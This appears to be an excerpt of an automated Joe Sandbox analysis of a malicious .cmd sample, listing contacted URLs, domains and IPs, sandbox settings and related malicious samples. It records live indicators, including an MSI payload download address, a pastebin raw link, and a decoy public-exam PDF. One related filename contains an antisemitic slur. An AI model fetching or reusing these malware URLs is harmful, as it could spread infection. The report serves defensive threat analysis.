https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico	0%	Virustotal		Browse
https://www.clarity.ms/tag/gnjwwmt1ml	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/toolbarButton-pageDown.png	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/compatibility.js	0%	Avira URL Cloud	safe
http://secure.globalsign.net/cacert/PrimObject.crt0	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/toolbarButton-sidebarToggle.png	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/3072	0%	Avira URL Cloud	safe
https://vlibras.gov.br/app/vlibras-plugin.js	0%	Virustotal		Browse
https://www.quadrix.org.br/web/images/toolbarButton-menuArrows.png	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/toolbarButton-viewThumbnail.png	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/toolbarButton-download.png	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/toolbarButton-presentationMode.png	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf	0%	Avira URL Cloud	safe
https://www.quadrix.org.br/web/images/toolbarButton-zoomOut.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
star-mini.c10r.facebook.com	157.240.249.35	true	false		high
jsdelivr.map.fastly.net	151.101.1.229	true	false	0%, Virustotal, Browse	unknown
vlibras.gov.br	18.229.86.183	true	false	0%, Virustotal, Browse	unknown
scontent.xx.fbcdn.net	157.240.249.8	true	false		high
googleads.g.doubleclick.net	172.217.5.2	true	false		high
www.quadrix.org.br	172.66.43.171	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.191.164	true	false		high
part-0023.t-0009.t-msedge.net	13.107.246.51	true	false	0%, Virustotal, Browse	unknown
td.doubleclick.net	142.250.191.162	true	false		high
www.facebook.com	unknown	unknown	false		high
cdn.jsdelivr.net	unknown	unknown	false		high
www.clarity.ms	unknown	unknown	false	0%, Virustotal, Browse	unknown
v.clarity.ms	unknown	unknown	false	0%, Virustotal, Browse	unknown
c.clarity.ms	unknown	unknown	false	0%, Virustotal, Browse	unknown
connect.facebook.net	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://vlibras.gov.br/app//assets/access_icon.svg	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/assets/quadrix-basic/scripts/rybenaDOM.js	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/cdn-cgi/apps/head/p4vv9MANyR7lncHFWaoN14UULso.js	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/tr/?id=516356326232506&ev=PageView&dl=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&rl=&if=false&ts=1715325659398&sw=1280&sh=1024&v=2.9.156&r=stable&a=tmgoogletagmanager&ec=0&o=4126&fbp=fb.2.1715325659394.951004112&cs_est=true&ler=empty&cdl=API_unavailable&it=1715325658637&coo=false&rqm=GET	false		high
https://www.quadrix.org.br/cdn-cgi/apps/body/6ps6-p5y2d01PkUzqq17Wmg4RqQ.js	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/l10n.js	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/images/toolbarButton-pageUp.png	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/viewer.js	false	Avira URL Cloud: safe	unknown
https://connect.facebook.net/en_US/fbevents.js	false		high
https://www.quadrix.org.br/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js	false	Avira URL Cloud: safe	unknown
http://34.68.151.162/arquivo.msi	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.quadrix.org.br/web/images/shadow.png	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/images/loading-small.png	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/build/pdf.worker.js	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/images/toolbarButton-zoomIn.png	false	Avira URL Cloud: safe	unknown
file:///C:/Users/user/Downloads/downloaded.htm	false	Avira URL Cloud: safe	low
https://www.facebook.com/login/?next=https%3A%2F%2Fwww.facebook.com%2Fprivacy_sandbox%2Fpixel%2Fregister%2Ftrigger%2F%3Fid%3D516356326232506%26ev%3DPageView%26dl%3Dhttps%253A%252F%252Fwww.quadrix.org.br%252Fweb%252Fvisualizar.html%253Ffile%253Dhttps%253A%252F%252Fwww.quadrix.org.br%252FArchives%252FGeneral%252F30728%252F31054%252F31055%252FE041D722C411%252F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf%26rl%26if%3Dfalse%26ts%3D1715325659398%26sw%3D1280%26sh%3D1024%26v%3D2.9.156%26r%3Dstable%26a%3Dtmgoogletagmanager%26ec%3D0%26o%3D4126%26fbp%3Dfb.2.1715325659394.951004112%26cs_est%3Dtrue%26ler%3Dempty%26cdl%3DAPI_unavailable%26it%3D1715325658637%26coo%3Dfalse%26rqm%3DFGET	false		high
https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf	false		unknown
https://connect.facebook.net/signals/config/516356326232506?v=2.9.156&r=stable&domain=www.quadrix.org.br&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105	false		high
https://www.quadrix.org.br/web/images/loading-icon.gif	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/images/toolbarButton-print.png	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/gh/spbgovbr-vlibras/vlibras-portal@dev/app/assets/access_icon.svg	false		high
https://www.quadrix.org.br/web/images/toolbarButton-search.png	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/images/texture.png	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/viewer.css	false	Avira URL Cloud: safe	unknown
https://vlibras.gov.br/app/vlibras-plugin.js	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/build/pdf.js	false	Avira URL Cloud: safe	unknown
https://vlibras.gov.br/app//assets/access_popup.jpg	false	Avira URL Cloud: safe	unknown
https://www.clarity.ms/s/0.7.32/clarity.js	false	URL Reputation: safe	unknown
https://www.quadrix.org.br/web/images/toolbarButton-secondaryToolbarToggle.png	false	Avira URL Cloud: safe	unknown
https://www.clarity.ms/tag/gnjwwmt1ml	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/images/toolbarButton-pageDown.png	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/compatibility.js	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/images/toolbarButton-sidebarToggle.png	false	Avira URL Cloud: safe	unknown
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=516356326232506&ev=PageView&dl=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&rl=&if=false&ts=1715325659398&sw=1280&sh=1024&v=2.9.156&r=stable&a=tmgoogletagmanager&ec=0&o=4126&fbp=fb.2.1715325659394.951004112&cs_est=true&ler=empty&cdl=API_unavailable&it=1715325658637&coo=false&rqm=FGET	false		high
https://www.quadrix.org.br/web/images/toolbarButton-menuArrows.png	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/gh/spbgovbr-vlibras/vlibras-portal@dev/app/assets/access_popup.jpg	false		high
https://www.quadrix.org.br/web/images/toolbarButton-viewThumbnail.png	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/images/toolbarButton-download.png	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/images/toolbarButton-presentationMode.png	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/images/toolbarButton-zoomOut.png	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://secure.globalsign.net/cacert/ObjectSign.crt09	windows10.exe.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000004.00000003.1642092375.000001B2428B3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1642092375.000001B242917000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1642092375.000001B2428D2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1642092375.000001B242904000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	false		high
http://www.indyproject.org/	windows10.exe, 00000017.00000003.2175333607.000000007F8AE000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000002.3065560354.0000000004B5E000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.quadrix.org.br	timeout.exe, 0000000E.00000002.1810538881.000001DB9D418000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.globalsign.net/repository/0	windows10.exe.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000004.00000003.1642092375.000001B24292A000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	false		high
https://www.google.com	chromecache_167.5.dr	false		high
https://g.live.com/odclientsettings/ProdV2	svchost.exe, 00000004.00000003.1642092375.000001B2428D2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	false		high
http://ip-api.com/json/	windows10.exe, 00000017.00000003.2175333607.000000007F8AE000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000017.00000002.3042930153.0000000003D20000.00000040.00001000.00020000.00000000.sdmp	false		high
http://www.quadrix.org.br/)	chromecache_174.5.dr	false	Avira URL Cloud: safe	unknown
http://www.globalsign.net/repository09	windows10.exe.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000004.00000003.1642092375.000001B2428D2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr	false		high
http://34.68.151.162/arquivo.msiUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userU	timeout.exe, 0000000E.00000002.1810598366.000001DB9EDD4000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 0000000E.00000002.1810538881.000001DB9D410000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://34.68.151.16	timeout.exe, 0000000E.00000002.1810538881.000001DB9D418000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://concursos.quadrix.org.br/)	chromecache_174.5.dr	false	Avira URL Cloud: safe	unknown
https://googleads.g.doubleclick.net	chromecache_167.5.dr	false		high
https://pastebin.com/raw/tBXs1wCj	windows10.exe, 00000017.00000002.3065560354.0000000004C48000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000004.00000002.2871222928.000001B242600000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://adservice.google.com/pagead/regclk	chromecache_117.5.dr, chromecache_167.5.dr	false		high
http://isencao.quadrix.org.br/)	chromecache_174.5.dr	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico	timeout.exe, 0000000E.00000002.1810538881.000001DB9D418000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cct.google/taggy/agent.js	chromecache_117.5.dr, chromecache_167.5.dr	false	URL Reputation: safe	unknown
http://secure.globalsign.net/cacert/PrimObject.crt0	windows10.exe.7.dr	false	Avira URL Cloud: safe	unknown
https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/3072	timeout.exe, 0000000E.00000002.1810598366.000001DB9EDD4000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 0000000E.00000002.1810538881.000001DB9D410000.00000004.00000020.00020000.00000000.sdmp, z1Pedido-Faturado-NF-938731.cmd	false	Avira URL Cloud: safe	unknown
http://www.audio-tool.net	windows10.exe, 0000000D.00000000.1752877795.0000000000497000.00000002.00000001.01000000.00000008.sdmp, windows10.exe.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000004.00000003.1642092375.000001B2428D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://td.doubleclick.net	chromecache_117.5.dr, chromecache_167.5.dr	false		high
https://www.google.com/pagead/1p-user-list/341894994/?random	chromecache_129.5.dr	false		high
https://google.com	chromecache_167.5.dr	false		high
http://www.globalsign.net/repository/03	windows10.exe.7.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
157.240.249.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
172.217.5.2	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
172.66.43.171	www.quadrix.org.br	United States	13335	CLOUDFLARENETUS	false
151.101.1.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
13.107.246.51	part-0023.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.191.228	unknown	United States	15169	GOOGLEUS	false
18.229.86.183	vlibras.gov.br	United States	16509	AMAZON-02US	false
157.240.249.8	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
172.66.40.85	unknown	United States	13335	CLOUDFLARENETUS	false
34.68.151.162	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.4.68	unknown	United States	15169	GOOGLEUS	false
142.250.191.164	www.google.com	United States	15169	GOOGLEUS	false
142.250.191.162	td.doubleclick.net	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1439344
Start date and time:	2024-05-10 09:20:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	z1Pedido-Faturado-NF-938731.cmd
Detection:	MAL
Classification:	mal88.evad.winCMD@51/153@36/16
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 59% Number of executed functions: 44 Number of non-executed functions: 303
Cookbook Comments:	Found application associated with file extension: .cmd

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.217.4.35, 142.250.112.84, 142.250.191.110, 34.104.35.123, 104.18.186.31, 104.18.187.31, 142.250.191.202, 172.217.4.42, 172.217.0.170, 142.250.191.170, 142.250.191.138, 142.250.191.106, 142.250.191.234, 172.217.4.40, 104.122.44.67, 142.250.190.34, 20.114.189.135, 20.125.209.212, 204.79.197.237, 13.107.21.237, 217.20.53.37, 192.229.211.108, 172.217.2.35, 172.217.4.206
Excluded domains from analysis (whitelisted): cdn.jsdelivr.net.cdn.cloudflare.net, www.googleadservices.com, slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, e16604.g.akamaiedge.net, update.googleapis.com, azurefd-t-prod.trafficmanager.net, prod.fs.microsoft.com.akadns.net, clarity-ingest-eus2-d-sc.eastus2.cloudapp.azure.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ajax.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, c.bing.com, dual-a-0034.a-msedge.net, clients.l.google.com
Execution Graph export aborted for target windows10.exe, PID 4348 because there are no executed function
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:20:53	API Interceptor	2x Sleep call for process: svchost.exe modified
09:20:54	API Interceptor	37x Sleep call for process: powershell.exe modified

LLM Input / Output

Input

Output

URL: file:///C:/Users/user/Downloads/downloaded.htm

{
"riskscore": 0,
"reasons": "No suspicious links or urging text found in the provided web page text. The text only contains instructions for navigating a document and entering a password to open a PDF file."
}"

Miniaturas Exibir tpicos Anexos Buscar: Anterior Prximo C' Marcar tudo C) Diferenciar manisculas/minsculas Imprimir Download CulTent View Tela cheia Abrir Ir para primira pagina Ir para ltima pagina Girar sentido horrio Girar sentido anti-horrio Habilitar ferramenta manual Propriedades do documento.. Barra lateral Encontrar Antenor Prximo Pgma: 1 Current View Tela cheia Open Imprimir Download Ferramentas Menos Zoom Mais Zoom Zoom Automtico v Enter the password to open this PDF file: Cancel 0K F Ile name: File size: Title: Author : Subject:

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.1.229	New Scanned Copy.html	Get hash	malicious	HTMLPhisher	Browse	cdn.jsdelivr.net/jquery.slick/1.6.0/slick.min.js
13.107.246.51	Undelivered Messages.htm	Get hash	malicious	HTMLPhisher	Browse
	l51PXKBLfJ.xls	Get hash	malicious	Unknown	Browse
	https://techssupport.z13.web.core.windows.net/Wi0n0MntyEr00170887/index.html	Get hash	malicious	TechSupportScam	Browse
	https://plannexcg.com/plannex_tool_3/	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0 - 2024-04-30T152233.880.eml	Get hash	malicious	HTMLPhisher	Browse
	https://bing.com///////////////////////////ck/a?!&&p=9800195a72dfec27JmltdHM9MTcxNDM0ODgwMCZpZ3VpZD0yOWFmMGU4ZS02MTgwLTY4NDUtMWIwOC0xYWJkNjBhYTY5MGImaW5zaWQ9NTIxNg&ptn=3&ver=2&hsh=3&fclid=29af0e8e-6180-6845-1b08-1abd60aa690b&psq=https%3A%2F%2F9dcare.com.au&u=a1aHR0cHM6Ly93d3cuOWRjYXJlLmNvbS5hdS9hYm91dC11cy8	Get hash	malicious	HTMLPhisher	Browse
	https://cloudflare-ipfs.com/ipfs/QmbhC4yNHxbesHuqL3USBWmLSYPNT2dCWjS4ff4aRXvqFv	Get hash	malicious	HTMLPhisher	Browse
	https://infos.misterspex.com/u/nrd.php?p=3UzLDCVKiF_4240_7137468_1_11&ems_l=7807954&i=1&d=NDkzMzgwMTkz%7CM1V6TERDVktpRg%3D%3D%7COTg4OWE5OGIxODQ0NDA4NjE%3D%7CMTAyNTIyMTIwNzk%3D%7CODIwNDgwMTNiYTBkM2ZjZmVlMThiOTMxNzk2NDJhYTliZTNlNjdhNjVjNGNjMWE3NzM4Yzk1ZWJjZDU0NWJhOQ%3D%3D%7CMjAyNA%3D%3D%7CMDQ%3D%7CMjk%3D%7C&_esuh=_11_5d3c63ac95c71e355005e04eb9764bdb01e0f938d0ca4322faadf23f7b62251f	Get hash	malicious	Unknown	Browse
	folder.docx	Get hash	malicious	Unknown	Browse
	PO03240162.xls	Get hash	malicious	Unknown	Browse
239.255.255.250	Undelivered Messages.htm	Get hash	malicious	HTMLPhisher	Browse
	https://1drv.ms/u/s!AvRvEmgJ5d9kgly3z-uh2_ANgH5h	Get hash	malicious	Unknown	Browse
	https://1drv.ms/u/s!AvRvEmgJ5d9kgly3z-uh2_ANgH5h	Get hash	malicious	Unknown	Browse
	https://neoparts.com.br/dayo/e0qi/Wk4tTE9HQGNkd2UuY29tLnR3$?utp=consumer&	Get hash	malicious	Unknown	Browse
	https://1drv.ms/u/s!AvRvEmgJ5d9kgly3z-uh2_ANgH5h	Get hash	malicious	Unknown	Browse
	securedoc_20240509T112530.html	Get hash	malicious	Unknown	Browse
	http://premierpointmortgage.com	Get hash	malicious	Unknown	Browse
	http://rest.cdntoswitchspirit.com/scripts/stack.js	Get hash	malicious	Unknown	Browse
	https://www.xtransfer.cn/unsubscribe?p=1kpU6P0NN-6RM7EO4H_1kpU72q8p-6PSUvf2p	Get hash	malicious	Unknown	Browse
	https://xtrfr.com/t/1/m3hVkr?p=1kpU6P0NN-6RM7EO4H_1kpU72q8p-6PSUvf2p	Get hash	malicious	Unknown	Browse
18.229.86.183	YLOmSlXOdi	Get hash	malicious	GhostRat	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
jsdelivr.map.fastly.net	Angebot 530341 ab 9. Mai 2024.html	Get hash	malicious	Unknown	Browse	151.101.129.229
	c6d56ca.html	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://qrco.de/WntxebLzUZRPvkbE7lS0v1K3POsozeEK	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://app.asana.com/app/asana/-/log?dest=https%3A%2F%2Fapp.asana.com%2F-%2Fmobile_web_email_login%3Fwa%3D127821c9468d9061b22a0dcde981af4a%26e%3Dbfanguy%2540uscortec.com&se=%7B%22name%22%3A%22AsanaLoaded%22%2C%22action%22%3A%22AsanaLoaded%22%2C%22sub_action%22%3A%22MagicLogin%22%2C%22location%22%3A%22MagicLoginEmail%22%2C%22domain%22%3Anull%2C%22domain_user%22%3Anull%2C%22user%22%3A1195607135831890%2C%22from_amp_email%22%3Afalse%2C%22non_user_action_event%22%3Afalse%2C%22email_uuid%22%3A%221715188399672Idf6803-3d26De4-a3ff3e4e9b9ccd%22%2C%22app_name%22%3A%22email%22%7D&rp=1195607135831890&hash=55999a967007d54aa7f5ae7781466d3ecff5abdb4784c581e8491f53c210d547	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://www3.fpn-process.com/l/cwc7633Xt4MIlPv5J4seP14A/WKmE4gZBtNw1bbV1a2SuWw/wT4d892OTJwVFpaejOq977XA	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://royal-visit.com/	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://wirdance.site	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://t.email.caixabank.com/r/?id=h53014a64,6db27ee6,f3bae0f&p1=tambatourism.jp/g/c3lsdmllLnJvbGxhbmRAYXNuLmNvbQ==	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://t.email.caixabank.com/r/?id=h53014a64,6db27ee6,f3bae0f&p1=tambatourism.jp/g/c3lsdmllLnJvbGxhbmRAYXNuLmNvbQ==	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://app.nyheder.danskespil.dk/e/f2?elqFormName=4ChangePermission&elqSiteID=414837471&DataSourceID=706382&emailPermission=0&redirect=https://kotobukitabi.com/s/anVlcmdlbi5zZWlkbGVyQGlwcm90ZXguZGU=	Get hash	malicious	Unknown	Browse	151.101.1.229
vlibras.gov.br	YLOmSlXOdi	Get hash	malicious	GhostRat	Browse	18.229.86.183
vlibras.gov.br	https://www.nfe.fazenda.gov.br/portal/consulta.aspx?tipoConsulta=completa&tipoConteudo=XbSeqxE8pl8=	Get hash	malicious	Unknown	Browse	18.230.12.139
part-0023.t-0009.t-msedge.net	Undelivered Messages.htm	Get hash	malicious	HTMLPhisher	Browse	13.107.213.51
	l51PXKBLfJ.xls	Get hash	malicious	Unknown	Browse	13.107.246.51
	https://techssupport.z13.web.core.windows.net/Wi0n0MntyEr00170887/index.html	Get hash	malicious	TechSupportScam	Browse	13.107.213.51
	Alliance Bank Central Texas Open Benefits Enrollment.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.213.51
	https://operantbiz-my.sharepoint.com/:b:/g/personal/barry_operantsystems_com/EUqGyitkDWdOsrOXl4MRFSUBF3FzlrVfxabSW6W0osCoGg?e=BBhMgx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.51
	https://plannexcg.com/plannex_tool_3/	Get hash	malicious	Unknown	Browse	13.107.246.51
	phish_alert_sp2_2.0.0.0 - 2024-04-30T152233.880.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.51
	https://bing.com///////////////////////////ck/a?!&&p=9800195a72dfec27JmltdHM9MTcxNDM0ODgwMCZpZ3VpZD0yOWFmMGU4ZS02MTgwLTY4NDUtMWIwOC0xYWJkNjBhYTY5MGImaW5zaWQ9NTIxNg&ptn=3&ver=2&hsh=3&fclid=29af0e8e-6180-6845-1b08-1abd60aa690b&psq=https%3A%2F%2F9dcare.com.au&u=a1aHR0cHM6Ly93d3cuOWRjYXJlLmNvbS5hdS9hYm91dC11cy8	Get hash	malicious	HTMLPhisher	Browse	13.107.213.51
	https://cloudflare-ipfs.com/ipfs/QmbhC4yNHxbesHuqL3USBWmLSYPNT2dCWjS4ff4aRXvqFv	Get hash	malicious	HTMLPhisher	Browse	13.107.213.51
	https://infos.misterspex.com/u/nrd.php?p=3UzLDCVKiF_4240_7137468_1_11&ems_l=7807954&i=1&d=NDkzMzgwMTkz%7CM1V6TERDVktpRg%3D%3D%7COTg4OWE5OGIxODQ0NDA4NjE%3D%7CMTAyNTIyMTIwNzk%3D%7CODIwNDgwMTNiYTBkM2ZjZmVlMThiOTMxNzk2NDJhYTliZTNlNjdhNjVjNGNjMWE3NzM4Yzk1ZWJjZDU0NWJhOQ%3D%3D%7CMjAyNA%3D%3D%7CMDQ%3D%7CMjk%3D%7C&_esuh=_11_5d3c63ac95c71e355005e04eb9764bdb01e0f938d0ca4322faadf23f7b62251f	Get hash	malicious	Unknown	Browse	13.107.246.51

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	fuckjewishpeople.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	54.171.230.55
	fuckjewishpeople.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.249.145.219
	Undelivered Messages.htm	Get hash	malicious	HTMLPhisher	Browse	52.84.125.80
	IGLAxbluYp.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.249.145.219
	5d9fe2735d4399d98e6e6a792b1feb26d6f2d9a5d77944ecacb4b4837e5e5fca.zip	Get hash	malicious	Xmrig	Browse	130.176.250.197
	file.exe	Get hash	malicious	PrivateLoader	Browse	104.192.141.1
	securedoc_20240509T112530.html	Get hash	malicious	Unknown	Browse	3.160.6.245
	http://premierpointmortgage.com	Get hash	malicious	Unknown	Browse	52.36.129.182
	l4XEL1mHW4.exe	Get hash	malicious	Mars Stealer, PrivateLoader, Stealc, Vidar	Browse	104.192.141.1
	https://techssupport.z13.web.core.windows.net/Wi0n0MntyEr00170887/index.html	Get hash	malicious	TechSupportScam	Browse	44.241.23.165
CLOUDFLARENETUS	NEW ORDER.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	172.67.74.152
	3681321154248.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
